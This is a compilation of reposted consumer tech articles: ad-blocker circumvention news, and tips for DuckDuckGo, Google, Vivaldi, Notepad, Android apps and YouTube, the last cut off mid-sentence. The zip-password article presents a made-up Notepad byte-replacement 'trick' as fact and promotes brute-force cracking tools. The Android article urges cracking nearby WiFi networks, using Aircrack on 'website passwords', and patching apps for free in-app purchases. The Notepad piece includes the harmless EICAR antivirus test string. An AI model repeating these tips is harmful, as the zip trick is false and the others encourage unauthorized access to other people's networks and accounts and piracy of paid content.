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  1. A behind-the-scenes look at the cat and mouse game played by publishers and devs Analysis Netizens may choose to block unwanted content – such as intrusive and misbehaving ads – but some advertising companies do not to accept that choice. Instart Logic describes itself as a content delivery service and much of that content happens to be advertising. The California-based biz is determined to help its clients present online ads despite the technical choices made by internet users to avoid that content – adverts bypassing ad blockers, in other words. The company's technology disguises third-party network requests so they appear to be first-party network requests. This allows ad services used by website publishers to place cookies and serve ads that would otherwise by blocked by the browser's same-origin security model. Raymond Hill, who maintains the popular uBlock Origin content blocker, on Wednesday updated his uBO-Extra add-on software to prevent Instart Logic's code from bypassing uBlock Origin. In an explanatory note on UBO-Extra's GitHub repository, Hill describes UBO-Extra as follows: "To foil hostile anti-user mechanisms used to work around content blockers or even privacy settings in a browser." It defends against anti-content-blocking code, in other words. Efforts to push back against content blocking have taken on greater urgency as adoption has increased. Last year, the technology became more of an issue for mobile devices when Apple introduced support for a Content Blocking API in its Safari browser. According to PageFair, a digital publishing consultancy, content blocking grew 30 per cent last year and is now practiced by 11 per cent of internet users around the globe. Facebook last year took steps to disable content blocking on its network, and companies like Instart Logic, PageFair, Sourcepoint, and Uponit aim to provide similar anti-blocking capabilities to other online publishers. Uponit provides publishing clients with JavaScipt code that attempts to bypass content blocking. "Our JavaScript detects all blocked ad calls, fully recreates them (including targeting) and communicates them to our servers through a secure, undetectable channel that bypasses ad blockers," the company explains on its website. According to Hill, Instart Logic's code attempts to conceal the way it disguises cookie files. "Instart Logic will detect when the developer console opens, and cleanup everything then to hide what it does," he says. Detecting when a browser developer console is open for the purpose of concealing code from the technically inclined has been flagged as a bug in Chromium. 'Hostile' "I consider this to be extremely hostile to users, even those not using a content blocker, as it allows third-party servers to read/write cookies even if a user chose to block third-party cookies," Hill explains. Luke Mulks, a developer who works on the Brave browser, reports Instart's code also detects network analysis tools Wireshark and Charles Proxy. Attempts to bypass content blocking decisions turn out to be fairly common. Hill sees websites increasingly turning to the WebRTC API to bypass content blockers. In a phone interview with The Register, Peter Blum, VP product management at Instart Logic, said there's a battle going on between "quality publishers like The Register" and people who block ads. "The problem has been over the past few years, the amount of people coming in with ad blockers has risen dramatically," he said. "If it keeps up, it's going to put publishers out of business and it's going to cost reporters their jobs." Blum said other approaches haven't worked. Most people won't pay for content and they ignore polite requests from websites to disable ad blockers. And he said companies like Eyeo that make ad blocking software and sell advertisers access through whitelisting make some publishers uncomfortable. "What we do is we work with publishers to help them create a better experience," said Blum, who attributes the desire to block ads to companies that market obnoxiously. There are other reasons people cite, such as security, privacy, bandwidth, page load time, disinterest, a desire not to be manipulated, and fundamental antipathy to an industry does not guarantee the effectiveness of its product. Asked to address how his company rationalizes overriding the technical decisions of users who have expressed their preference not to see ads by deploying a content blocker, Blum demurred by suggesting that was up to publishers. "We provide this tool and we let the publishers have a lot of control over how they use it," he said. "I don't really get into it. We give the publishers a bunch of options." It is perhaps worth noting that Google did something similar several years ago when it ignored content settings in Apple's Safari browser to place tracking cookies. The FTC fined Google $22.5 million – a paltry sum for the company – but the Chocolate Factory's sin was going back on a previous promise to avoid such behavior rather than, say, hacking Safari users. Asked why Instart Logic attempts to conceal the activity of its software when a browser's developer console is active, Blum cited the open nature of JavaScript code and said, "Like other companies we just want to protect our IP." Article source
  2. From finding information on vintage synths to finding scores to aiding DIY projects, DuckDuckGo could give you a reason to dump Google for search. First – DuckDuckWhat? DuckDuckGo is an independent, privately owned search engine. It can be a drop-in replacement for search like Google. And it’s now a default option in browsers like Firefox and Safari, and easy to add to others – even on mobile. I’ve been using it for a couple of years now and rarely turning back to Google, and for anyone who knows me, I’m a very heavy search user. DuckDuckGo has a number of characteristics that set it apart from competitors. Privacy is the big selling point the service likes to advertise, in the form of anonymity and (optional) advertisements that work without using tracking. Privacy concerns aside, there’s reason to appreciate the fact that search results lack personalization. While we normally think of personalization as a good thing, with search, there’s some advantage to seeing generic results, not weighted to your own previous searches. It can create a filter bubble and prevent you from seeing new information. But, okay, that’s not a whole lot of fun. So let’s instead try some tricks with DuckDuckGo that make it really useful for electronic musicians. Some of this is possible with Google, to be sure, but part of what makes DuckDuckGo a unique alternative is its community engagement. There are tools for creating custom integrations, clever original content pages, resources for developers, and even open source-licensed access to some of the code that makes the search engine work. Oh, yeah, and there’s a dark theme. (Not music-specific, but necessary to me.) 1. Get formatted Wikipedia offerings – including on gear. Wikipedia structures meta-information in a way that makes it really easy to read, and if you look for a classic synth, for instance, you reap the benefits, like so: (I just tried that in Google – no dice.) 2. Look up vintage synths quickly, with a bang. DDG also offers the ability to search particular sites directly with a shortcut, called a “bang.” https://duckduckgo.com/bang There’s one for the ever-useful Vintage Synth Explorer. Just type !vse followed by your query. 3. Find music chord diagrams. Enter a chord, get a diagram by instrument. Details: https://duck.co/ia/view/chord_diagrams 4. Convert frequencies and musical pitches. There are actually several features in DuckDuckGo that handle this sort of data. If you enter any frequency in Hz, you’ll get some conversion tools. (There’s even supposed to be some functionality with frequency spectrum, though that wasn’t working for me as I wrote this.) But the most useful for musicians is the ability to convert between pitch and frequency. Enter “Note Frequency Of E4” and you get the conversion in Hz. Note, again, the utility of having Wikipedia answers pop up. (Google normally gives you ads instead. Ahem.) 5. Find resistors for electronics projects. Type in colors, (“Red Yellow White Gold Resistor” or “Resistor Red Yellow White”), and get values. Or type in values, and get colors. And since this works on mobile, too, it’s worth keeping DuckDuckGo at the ready on your phone while working. For more advanced projects, you’ll also find tools like binary logic operations and a binary/ASCII converter. 6. Access a rhyming dictionary and write some lyrics. I’m up for a songwriting project after all that other stuff. Just type in “rhyme” and the word you want to rhyme, and you get a rhyming dictionary. (“rhyme orange” sadly returns nothing – sorry. Everything else works, though.) … and find lots of other surprises. DuckDuckGo is packed with knowledge about where to look for answers to music theory questions, information about musical artists, easy links to audio and video (especially via SoundCloud and YouTube, respectively), and lots of other musical information. It’s also clearly made by nerds, for nerds, with really useful results when you look up, for instance, GitHub projects, you get useful results. (There’s some nice data on our own MeeBlip hardware synth, for instance!) And so that’s another reason to use DuckDuckGo – you get regular, clever surprises, because the people running the service and the wider community developing for it are constantly inventing stuff. You get that from Google, too, but always with some strong commercial flavor. It’s cool when that service anticipates what you want to do, but a lot of times it feels like it’s trying to sell you something in the process. DDG feels like it was built just by other people who love using the Internet. With that in mind, if you come up with your own tool or know some interesting tricks, we’d love to hear about it. https://duckduckgo.com/ Article source
  3. How many of you download the zip files? Many of us do this. But what happens when you encounter a password protected zip file? Yes, sometimes the zip files come password protected for many reasons. Most of the time, if we download a password protected zip file from the internet, we don’t really have the password. And you’ll find it irritating that you have been trying to open the zip file and it’s not opening. Don’t worry there are a few tricks to crack password of a protected zip file. By the end of this article, you will learn how to remove password of a password protected zip file with and without tools. Zip files are nothing but just the compressed form of a large file(s). On the internet, you will find most of the files in the zipped format. As they are easy to upload and download as they have smaller size, consume lesser time and space. Instead of that, you can crack password of protected zip files using these methods. Working Tricks to Crack Password of Zip Files Without Tool You can download software to remove password of a protected zip file but most of the times these software are paid and the free trial doesn’t offer much. So, you might want to try tricks to crack password of a zip file without using any tool. Remove Password from Zipped File Online There are options either to remove or recover the password of zip files online without using any software. Here you can remove the password of the zip file. Normally this method is to convert a rar file into a zip file. Along with this, it unlocks the rar or zip file while converting. This is quite simple. Let’s have a look at the steps. The first thing you have to do is to go to Online Zip Converter. Then you have to Browse the Password protected file. Then click the Convert File. Here the file is first uploaded on to the server and converted into a zip file and the password is removed. Hence, your job is done. Finally just download this password removed file. Remove a Zip File Password Using Notepad This is an easy way to remove password from zip files. No extra software is required in this method. All of us have Notepad pre-installed on our computers. Follow these steps to recover the password protected zip files. You need to open the password protected zip file with Notepad. Then you have to search few keywords on the second line and replace them as follows. Replace Ûtà with this 5³tà’ and also replace ’IžC0 with this IžC0. Then save it and open with any of the zip file software that you have. You will see the password of zip file has been removed and no more need of any other software to use. But it’s sometimes also found that these words are not there then you don’t worry you can go for the other methods. Not a big deal. Using Social Engineering In this method, you have to be social to some extent that you know very well where was the file downloaded and also who uploaded it. This will help you out in cracking the password of zip file. In many cases, the zip files downloaded from any site have set the password to URL of the site. So, if you know all about the file then can also crack the password. Brute Force Attack to crack password of zip file You can use this method of forcefully opening the zip file, similar you do to open your lock when you forget the keys. So, here you will be trying every single possible password. Sounds crazy, right? Don’t worry, you won’t be doing it manually. Many programs have been used to carry out this brute force method. For example, you can use WinRAR Remover which is freely available and will do this for you. You can download WinRAR Password Remover and try removing password of the zip file. Brute-Force with Mask Attack This is some technical term. So, first let me tell you what it means. Actually, the mask is known as the part of the password that is still remembered by you. Like the length of the password, any character, digit or letter of the password; either first or last character of the password anything. Then this method is applicable. If you remember any part of the password then you can still use it. For example, the mask then defined according to what you know. If the first character you remember is ‘a’ and the length is 5 then you can define the mask “a????”. The advantage of this over the brute force method is that it scales the range of the programs to detects the password. Crack Password of the Zip File Using Tools To crack the password of the zip file using tools, there are a lot of tools available. But let me tell you the beneficial ones. Zip Password Recovery Zip Password Recovery is an easy and efficient tool to recover either the lost or the forgotten password of the zip file. In this, it includes the brute-force attack that is in customized version, fast and efficient plaintext attack, highly optimized dictionary attack that makes it more efficient. The user interface is multilingual supported. It supports the strong WinZip Encryption method also. You can easily recover large size files in few minutes that makes use of GPU acceleration. Ultimate Zip Cracker This is another the best-known tool to crack the password of a zip file. It’s comparatively faster than any other password recovery tools. There are also its features that make it different from others. It auto saves the password recovery wizard and also saves the scan progress. It include some more extensions like .zip, .arj, .rar, .doc, .exe, .xls, etc. You can first use the trial version and if like then go ahead for the full version. Various search methods are used in Ultimate Zip Cracker including the Brute Force Attack, Smart Search, Dictionary Search, Date Search, Customized search, Plaintext attack Guaranteed decryption. Passware Kit Forensic Passware Kit Forensic is among the most popular zip file password recovery software used by the private detectives, law enforcement, military department. As per the name, it’s used by these reputed organizations so, you can guess know how effective it would be. PPS (Password per second) is at very high rate. Over 250 file formats are supported by it. Very much efficient in utilization. You can speed up processes through distributing the workload to various computers. There are many efficient features. This version is very portable that it offers the software to run from a flash drive. Daossoft Zip Password Rescuer Daossoft Zip Password Rescuer tool has the required features to recover password for the zipped files. It is supported by the latest version of Windows and provides a user-friendly interface. To speed up the recovery processes it makes use of the ATI graphic card. It also allows you to later recover from the autosaved scan progress done by it. It depends on your system what speed they provide to the password recovery tool. It also has the feature to automatically shut the computer down when the recovery of the zip password has completed. It’s supported by the technicians that are free and on time whenever required. Along with this, when the interruption is over it automatically resumes the process of the zip password recovery. Zip Password Cracker Pro As apparent from its name, it is another tool that let you crack password of zip file that contains useful information. Then it’s the power saver for you at that time. It’s portable and ensures you to directly run the executable files, no need to download and then install. It does not require any Windows registry so no files left after the removal of the program. If we talk about its features, it provides you all the techniques to find the password in less time and efficiently. Article source
  4. Everyone knows the Google Search Engine. It is only used for finding web pages on a specific topic, right? Wrong, there are many Google Search Tricks or Hacks that allows you to do much more than just search the web, do homework and assignments. I have prepared a list of the best Google Search Tricks that will open your mind to a world of endless possibilities. Learn how to also use Google for fun, get more refined searches and other cool stuff. Calculate Dinner Tip As far as Google Search Tricks go, this one is the most useful. When having dinner at your favorite restaurant, it is important to know what tip you should leave after. With this trick, you can quickly calculate the tip you should leave after dinner. To start the Tip Calculator, type tip calculator in the Google Search box and press Enter. Using the Tip Calculator is straight forward. In the Bill box, enter the total bill amount. Then, in the Tip % box, select the tip percentage and finally, if the bill will be shared between a number of people, in the Number of People box, select the number of people sharing the bill. Google Tip Calculator in action When all required information is entered, the Google Tip Calculator will display the Tip and Total amount you should pay. It will divide these amounts between the people sharing the bill as specified. Please note, it seems like there is no way to change the currency of this Tip Calculator. ? Currency Converter This is one of the Google Search Tricks I use the most. To quickly convert between currencies, in the Google Search box, type the amount you want to convert, followed by the currency code, then to, and again followed by the currency code you want to convert to. For example, to convert from 25 Dollars to Rand, type 25 USD to ZAR in the search box and press Enter. If you are unsure about the currency codes to use, simply type currency converter in the search box and press Enter to open the Google Currency Converter. Google Currency Converter in action. Timer Boiling eggs? Want to perform a task in a certain time frame? Quickly set a timer in Google. Just type set timer followed by the time span you want in the Google Search box. For example, to set a timer for 10 minutes, simply type set timer 10 minutes in the search box and press Enter. Google Timer in action Exact Sunset and Sunrise time From all the Google Search Tricks this is the one you will use the least. Google can tell you the exact Sunset or Sunrise times. To see the exact Sunrise time, simply type sunrise followed by your country in the Google Search box. Or, to see the exact Sunset time, type sunset followed by your country in the search box. For example, to see the exact sunrise time in South Africa, type sunrise South Africa in the search box. Furthermore, you are not limited to your country or even limited to a country. For example, to see the exact sunrise for a specific city, type sunrise followed by the city and then followed by the country. Like, sunrise Johannesburg South Africa. Get exact Sunrise or Sunset time from Google Get the Definition of a Word Looking to define a particular word? Simply type define followed by the word you want to define in the Google Search box and press Enter. For example, type define programming to get the definition of programming. Get the Definition of a particular Word. Furthermore, you can click on the Translations, word-origin, and more definitions link to quickly translate the word or view the origin and extended definitions of the specified word. Google Calculator The humble Calculator needs no introduction. Performing calculation straight in Google is one of most useful Google Search Tricks available. To open the Google Calculator, type calculator in the Google Search box and press Enter. Also, perform quick calculations, by typing the calculation straight into the search box. For example, to get the square root of 888, type sqrt(888) in the search box and press Enter. Google Calculator in action Get the Weather To get the weather in a city, simply type weather followed by the city name in the Google Search box and press Enter. For example, weather Johannesburg. To further improve your search, try adding the country behind the city. Like, weather Johannesburg South Africa. Google Weather in action Search within a Particular Website The next few sections are all about refining your search. These are the oldest Google Search Engine Tricks, and some would consider them more important than the previously mentioned ones. Because of the huge amount of information available on Google, it is important that you learn how to refine your searches to find what you are looking for. You can limit your search to a specific website in Google by typing site: followed by the website’s URL you want to search and then the term you want to search for in the Google Search box. For example, to find all pages related to Complete Internet Repair on Rizonesoft, type site:rizonesoft.com Complete Internet Repair in the search box and press Enter. Search for all pages related to Complete Internet Repair on Rizonesoft This trick is especially useful when a website does not have its own build in Search Engine, but you need to find something specific to that website. Search by File Type Also, to search for a specific file type, simply type filetype: followed by the type of file and then the search term in the Google Search box. For example, type filetype:PDF Windows 10 Guide in the search box and press Enter, to find all the PDF Documents (Books) related to Windows 10. Go to File types indexable by Google to find out more about the file types you can search for. Search for Specific File Type in Google. Find Songs by Your Favorite Artist or Band Also, to quickly find songs by your favorite artist or band, just type Songs by followed by your favorite artist’s name in the Google Search box and press Enter. For example, type Songs by Linkin Park in the search box to view an extensive list of songs by Linkin Park. Click on a song to go to the respective song’s YouTube link. Search for Songs by Linkin Park in Google. Find Movies Apart from finding songs by an artist, you can also find specific movies using various filters. For example, type movies with, followed by your favorite actor into the Google Search box and press Enter. Like, movies with Keanu Reeves to display a list of all the movies starring Keanu Reeves. Also, type movies followed by a genre, for example Action or year. The genre and year can also be used together. For example, type movies action 2017 in the search box to get a list of the most popular action movies released and due for release in 2017. Action Movies 2017 on Google Pac-Man You can play Pac-Man on Google. It is a mini version of the game and was originally an animated logo for the game’s 30th anniversary on May 22, 2010. From all the Google Search Tricks, this one is my favorite. To start Pac-Man in Google, type pacman in the search box, press Enter and click on Click to Play. Google Pac-Man Article source Fun Things to do With Google Search or the “Hidden Google Tricks”
  5. How To Speed Up The Vivaldi Web Browser The following guide lists tweaks and suggestions on how to speed up the Vivaldi web browser to reduce lag and improve the browser's performance. Vivaldi is based on Chromium, and performance should not really be much of an issue because of this. However, the browser may feel sluggish or laggy at times, with actions like opening a new tab or switching to another tab being noticeably delayed. I noticed the tab delay issue recently on a modern system running Windows 10, and decided to look into it to find a solution. I did find the culprit after a while. If you open vivaldi://settings/all/ in a tab, all activities in the browser are delayed as long as the settings page remains open. So, make sure you close the settings when you are done modifying them. Speed up the Vivaldi web browser First thing I did was go through all browser settings to optimize the preferences for performance. Please note that some changes may reduce the functionality of the browser. If you cannot live without it, e.g. mouse gestures, then don't disable the option. vivaldi://settings/tabs/ -- I set the New Tab Page to "specific page" but without setting one. vivaldi://settings/tabs/ -- Disable "show popup thumbnails", "show tab thumbnails", "detect page title notifications", and "use unread indicators". This removes some eye candy from Vivaldi, and the highlighting of unread messages on select social media sites. vivaldi://settings/startup/ -- Make sure "lazy load restored tabs" is enabled if the browser is set to load the last session on start. vivaldi://settings/appearance/ -- Disable "use animation" and "use buttons in range controls". Try "use native window" to see if it makes a difference. vivaldi://settings/themes/ -- Edit the current theme, and make sure "accent color from active page" is disabled. vivaldi://settings/start-page/ -- Disable "show background image". vivaldi://settings/addressbar/ -- Disable "fast forward and rewind" vivaldi://settings/mouse/ -- Disable "allow gestures" and "allow rocker gestures". These settings may reduce some of the performance issues that you may experience when running the Vivaldi browser. The Task Manager Tip: I suggest you make use of the built-in Task Manager to monitor memory and CPU utilization of the browser, gpu, tabs and extensions. Extensions may slow down the browser, and you may want to disable some or even all to find out whether doing so improves the performance of the web browser. Vivaldi start up parameters Vivaldi supports pretty much the same startup parameters as Chromium and Google Chrome. While there may be some differences, you may use the following parameters to improve the browser's performance or resource usage further: --process-per-site This switches the multi-process model from using one process per page, to one process per site. Useful if you open multiple pages of the same site regularly at the same time, as you will save quite a bit of memory then. --disk-cache-dir=z:\vivaldi\ --disk-cache-size=104857600 This moves the disk cache that Vivaldi uses to drive z:\, and sets the maximum cache size to 100 Megabytes (the value is in bytes). If you have enough RAM, z: could be a ram disk to further improve the process. --enable-low-end-device-mode This enables low end device mode which improves memory consumption of the browser. --enable-low-res-tiling This enables low res tiling which helps on slower devices when scrolling pages. How to add the parameters On Windows, you right-click on the Vivaldi icon (for instance on the taskbar), and right-click on Vivaldi in the menu that opens. Select Properties in the menu that opens then, and add the parameters to the target field of the properties window. Make sure that there is a "blank" between the path and filename, and the first parameter, e.g. C:\Users\Martin\AppData\Local\Vivaldi\Application\vivaldi.exe --disk-cache-dir=Z:\Vivaldi\ --disk-cache-size=1073741824 Now You: Have another tip for improving Vivaldi's performance? Source
  6. Batu69

    Notepad Tricks You Should Try

    We can all agree that the Windows Notepad is basic and usually gets shunted out in favor of feature-filled alternatives. But Notepad is more powerful than it looks and we’ll introduce you to some of its hidden tricks. Soon, you’ll want to keep this ancient Windows program handy at all times by turning Notepad into a sticky note. Note: These tricks have been around from the time of Windows 7. I have tested all of them on Windows 10 as well. They still work! 1. Use Notepad as a Journal Did you know that you can program Notepad to add a timestamp? This makes it perfect for adding journal entries when you have a few minutes to spare during the day. To get an automatic timestamp, create a new text document, type in .LOG, and save the file. The next time you open the file, you should see the current date and time appear within it. Hit Enter, start recording your thoughts, and save them. As expected, every time you open the file, a fresh timestamp appears. If you want to add a quick timestamp on the fly, you could take a shortcut and hit F5 instead. This corresponds to the Time/Date item hidden in the Edit menu. 2. Get Line Count You’d like to view the number of lines in a Notepad document and you know that you’ll have to display the status bar for that. But a quick peek at the View menu shows you that the Status Bar option is grayed out, if you’re not on Windows 10 that is. What do you do now? It’s simple — head to the Format menu and turn off Word Wrap. Now you should be able to display the status bar from the View menu, and once you do, you can see the line count as well. To jump to a specific line, hit CTRL + G to bring up the Go To Line dialog, type in the line number you’d like to jump to, and hit Enter. This works even if you haven’t displayed the line count, because Notepad’s numbering system is active at all times. If you’d like to keep the status bar active all the time, i.e. with or without the Word Wrap option disabled, you’ll need to delve into the Windows registry and edit a specific key value. At this point we should warn you that if you tweak the wrong registry setting, it could mess up your Windows installation. To know what you’re getting into, read our guide on how to use the Windows registry and how not to accidentally mess up the registry. Ready to proceed? Great! Enter regedit into Windows search and hit Enter to open the Registry Editor. Next, look for the following key using the sidebar navigation: HKEY_CURRENT_USER\Software\Microsoft\Notepad. Once you have it selected in the sidebar, double-click on StatusBar in the right-side panel. Done? Now in the dialog box that has popped up, change the DWORD value from 0 to 1. 3. Add a Header and a Footer If you want to insert a header and/or a footer into a Notepad document, go to File > Page Setup…. In the dialog box that opens up, look for the Header: and Footer: fields and type in the content that you want to display in the header and footer. Can’t see the header and footer in the document itself? Don’t worry — that’s how it’s meant to be. Those elements will show up when you print the file. Since there’s no way to save the header/footer content from the Page Setup dialog, you’ll have to add it manually every time you print the file. Also, you can’t set up different headers and footers in Notepad like you can in Microsoft Word and other word processors. What’s cool about this Notepad feature is that using a few special commands, you can insert the filename, a timestamp, and page numbers in the header/footer and even align its contents left, right, or center. Here’s a snapshot of the commands you get to use: For example, if you want to display the current date (&d) and time (&t) on the left (&l) and the file name (&f) on the right (&r) in the header, this is the text that you’ll need to paste into the Header: field: &l&d&t&r&f 4. Find the Windows Product Key The easiest way to retrieve your Windows product key is by looking it up on the printed sticker that you’ll find on some part of your laptop or desktop, usually on the base or at the back. If that sticker is worn out or inaccessible, that’s not a problem. You can still retrieve the key from the Windows registry, as long as you haven’t formatted the hard drive, of course. To view the product key on your computer screen, you can use a third-party program like Belarc Advisor or even a Visual Basic (VB) script that retrieves the key from the registry. We’ll show you how to create such a script. First, open up a fresh Notepad document and paste in the following bit of code: Set WshShell = CreateObject("WScript.Shell") MsgBox ConvertToKey(WshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId")) Function ConvertToKey(Key) Const KeyOffset = 52 i = 28 Chars = "BCDFGHJKMPQRTVWXY2346789" Do Cur = 0 x = 14 Do Cur = Cur * 256 Cur = Key(x + KeyOffset) + Cur Key(x + KeyOffset) = (Cur \ 24) And 255 Cur = Cur Mod 24 x = x -1 Loop While x >= 0 i = i -1 KeyOutput = Mid(Chars, Cur + 1, 1) & KeyOutput If (((29 - i) Mod 6) = 0) And (i <> -1) Then i = i -1 KeyOutput = "-" & KeyOutput End If Loop While i >= 0 ConvertToKey = KeyOutput End Function Now save the file using the extension .vbs (instead of .txt). And that’s the VB script that will give you the product key when you run it! To run the script, double-click on the .vbs file that you just created and saved. You’ll then see a popup window with your product key. Hit CTRL + C if you’d like to copy the key. 5. Test Your Antivirus Software Want to find out if your computer’s antivirus program is working okay? You can use what is known as the EICAR test file to do the checking for you. Don’t worry, that’s not a virus-laden file we’re unleashing on your computer. It’s a simple text file that you’ll be creating in Notepad, with the following piece of harmless code saved to it: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* Your virus scanner should pick this file up as a virus and deal with it accordingly. If it does, it’s a sign that the antivirus program is working as expected. Of course, this does not guarantee that you’re protected from all viruses. 6. Create a Password-protected Folder With this trick, the idea is to create a deceptive file that you can use to unlock and reveal a secret folder as and when you need it. To begin with, create a new Notepad document and paste this code into it: cls @ECHO OFF title Folder Private if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Private goto MDLOCKER :CONFIRM echo Are you sure you want to lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to unlock folder set/p "pass=>" if NOT %pass%== your_password goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Private echo Private created successfully goto End :End Replace your_password in the code above with a password of your choice and save the file as a Batch file named locker.bat. I’ll digress a bit here to point out that you can automate various repetitive tasks with Batch files. When you run the locker.bat file (by double-clicking on it) for the first time, it creates a folder named Private in the same location as the .bat file. This folder is where you can stash away any files and folders that you’d like to keep to yourself. Now run the locker.bat file again. This asks you whether you want to lock the file. Hit Y, followed by Enter to confirm. You’ll see that the Private folder is no longer visible. To access the folder again, run locker.bat and when prompted, enter your password (the one you added to the code while saving the .bat file). If you have forgotten the password, drag and drop the locker.bat file into Notepad to view the password. This trick is fun, but it’s not foolproof — anyone who knows where to look and what to tweak can find the secret folder with ease. To display the secret folder yourself without running locker.bat, go to Folder Options > View and… …uncheck the box next to Hide protected operating system files, check the radio button for Show hidden files, folders, and drives. The folder might show up with the name Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D} instead of Private. 7. Remove Formatting from Text Snippets Copy-pasting text snippets from one app to another comes with the problem of messed-up formatting. It’s better to paste in unformatted text and then format it using styles from the app that you’re pasting into. To do so, you’ll first need to strip the formatting from the copied text. The quickest way to do that? Use CTRL + SHIFT + V to paste unformatted text directly or, you could first paste the text into Notepad, which supports only plain text, and copy-paste it from there. Of course, that’s just one way to strip formatting when you copy-paste text. 8. Make Your Computer Speak You can get your computer to read a piece of text to you with a simple VB script that we’ll create using Notepad. Begin with a new document and paste in the code given below: Dim message, sapi message=InputBox("Repeat after me") Set sapi=CreateObject("sapi.spvoice") sapi.Speak message Use the File > Save As command to save the file with the extension .vbs. Now when you open the saved file, you’ll get a dialog box with a blank text field. Type in something for your computer to read aloud and hit OK. You’ll also want to take a look at these five other ways to get your Windows computer to read to you. In the code above, you can replace the text Repeat after me with a message of your choice and that is what you’ll see as a prompt in the dialog box when you run the script. Notepad Magic Who knew Notepad was capable of all these tricks? It has stayed more or less the same over the years, but it has turned out to be cooler than we thought. Article source
  7. Try These Cool Android Smartphone Hacks And Get The Best Out Of Your Mobile Here are some of the best Android smartphone hacking Apps Android is undoubtedly the world’s most popular mobile operating system. With over 1.5+ billion plus users, Android is way ahead of iOS. Similarly, in Apps space, Android hacking apps are also increasing. Many of these hacking Apps are meant for pros but some can become useful to you also. With such hacking Apps, you can remove unnecessary bloatware utilizing most of the internal storage memory. While other times, such hacking App may help you remove irritating ads or allow you to access blocked system Apps. We bring you such hacking Apps which let you get the best out of your Android smartphone. Remember most of these Apps require a rooted smartphone to try them out. INCREASE RAM Root your phone. Download ROEHSOFT RAM EXPANDER from Google Play Store. Convert desired amount of SD card space into system swap RAM. This will make apps perform better when you have lot of storage area in your SD card. Wi-Fi WPS/WPA TESTER Download WIFI PS/WPA Tester App from Google Play Store. It let’s you analyze your WiFi security and others in the vicinity and attempts to hack their password It only hacks WPS enabled WiFi networks. REMOVE UNWANTED SYSTEM APPS OR BLOATWARE Root your android phone and Download sSystem app remover (ROOT) from Google Play Store. Remove many unwanted inbuilt Apps which you don’t think are necessary from internal storage of your Android phone.\ HACKING HUB Download the app Linux Deploy from Google Play Store. This installs Linux Operating system on your Android phone. Then use use Aircrack and other hacking Apps on your phone to hack WiFi and website passwords. FREE STUFF Root your phone Download and install BusyBox App from Google Play Store. Install modded Play Store from Lucky Patcher. With Lucky Patcher App you hack in-App purchases and get free stuff or game coins ACCESS BLOCKED CONTENT Download CyberGhost App from Google Play Store. Use it to connect to a VPN of a country of your choice. Now you can download apps from Google Play Store which are blocked in your country and also use websites like torrent websites blocked in your country. BATTERY LIFE Root your phone Download Greenify App from Google Play Store Hibernate many user and system apps. Greenify allows you to hibernate apps that won’t use battery and memory in background. So, you can save battery life and RAM. BUILD PROP EDITING Most of the Android smartphones out promise you 8MP images but in fact deliver only 6MP picture quality on 8MP camera. If you are facing a similar issue, you can solve it using this hack. This also requires a rooted smartphone. Download BuildProp Editor App from Google Play Store. Goto –>add entry Ro.ril.max.jpeg.quality. And set it’s value to 100 so it looks like Ro.ril.max.jpeg.quality = 100 Once done, your 8MP smartphone camera will deliver you 8MP images TUBEMOTE Download Tubemote from Google Play Store. Now you can download any and all online videos, not just from YouTube but any website in your desired resolution and quality at high speeds. You can also download just mp3 or m4a sound files from videos. ANDROID ID CHANGER Root your phone. Download Android Device ID Changer App from Google Play Store. Change your Android ID, which apps use to identify you and restart the phone. Your Android smartphone has a new Android ID. DRIVEDROID Download Drivedroid App from Google Play Store. Once installed, open the App and download LINUX.iso file from the dropdown menu. Burn this image on your phone and use it as CD or USB drive to boot your PC. KABOOM THE SELF DESTRUCTING APP Download and install Kaboom App from Google Playstore This App lets you control the photos and messages you post online. You can use this App to make the images and posts disappear at a set time. FAKE LOCATION Download Fake Location GPS App from Google Play Store Go to —> Settings Tap on Build Number 7 times to unlock Developer Options. Enable Mock Locations. Open Fake Location GPS app and set your location to any place in the world you wish. Source
  8. YouTube remains one of the most popular websites in the world, which makes sense. Just about every video clip that becomes viral — whether a music video, comedy sketch, or tutorial — finds its way onto YouTube eventually. Just how popular is the site? As of December 2016, 44 videos had accumulated more than one billion views, and four had surpassed two billion — who doesn’t remember Psy’s “Gangnam Style”? While the site remains a go-to staple for quickly viewing video clips, there are a number of other things you can do with it. Here are 10 YouTube hacks that will make your viewing experience even more enjoyable… 1. Make GIFs No matter how you choose to pronounce the word, GIFs are a fun way to deliver some quick wit or a funny line via a social media site or messaging app. Now you can easily make your own GIFs from almost any video you come across on YouTube. There are several ways you can do this. One way is to visit the GIF Maker page from GIPHY. Copy the link of the video you want to use from YouTube. It can be almost any video — just make sure it’s shorter than 15 minutes long. Once the video has loaded on GIPHY, enter the point of the video where you’d like the GIF to begin, and how many seconds you would like it to last. You can enter these manually at first, and then use the convenient slider tools to set up the perfect beginning and end points. After the clip is created, you can add meme- or caption-like text across the bottom of the screen. Then all you need to do is click “Create GIF,” and you’re set. Alternatively, you can simply add “gif” before the word “youtube” in the video URL, and this will take you to Gifs.com and allow you set the length of the GIF and add text to it. 2. Find Easter Eggs Similar to some of the fun things you can do with the Google toolbar, YouTube has a number of tricks or Easter eggs you can use to make the site look or act differently. One of the best-known tricks is to type “doge meme” in the YouTube search bar, which gives the site a new and much more colorful font throughout the pages. There are many others as well. Type “do the harlem shake” into the search bar, and a pause button icon will appear next to the YouTube Logo in the upper left corner. Then the site will proceed to “do” said dance before your very eyes. Another trick is to type the word “awesome” you your keyboard while a video is playing — not in the search bar. After you do, the progress bar will flash with bright and colorful tones. 3. Use Videos for Karaoke Many of us already sing along to our favorite music videos on YouTube, and now there’s a more efficient way to do so karaoke-style. If you’re using the Chrome web browser, install the free Musixmatch 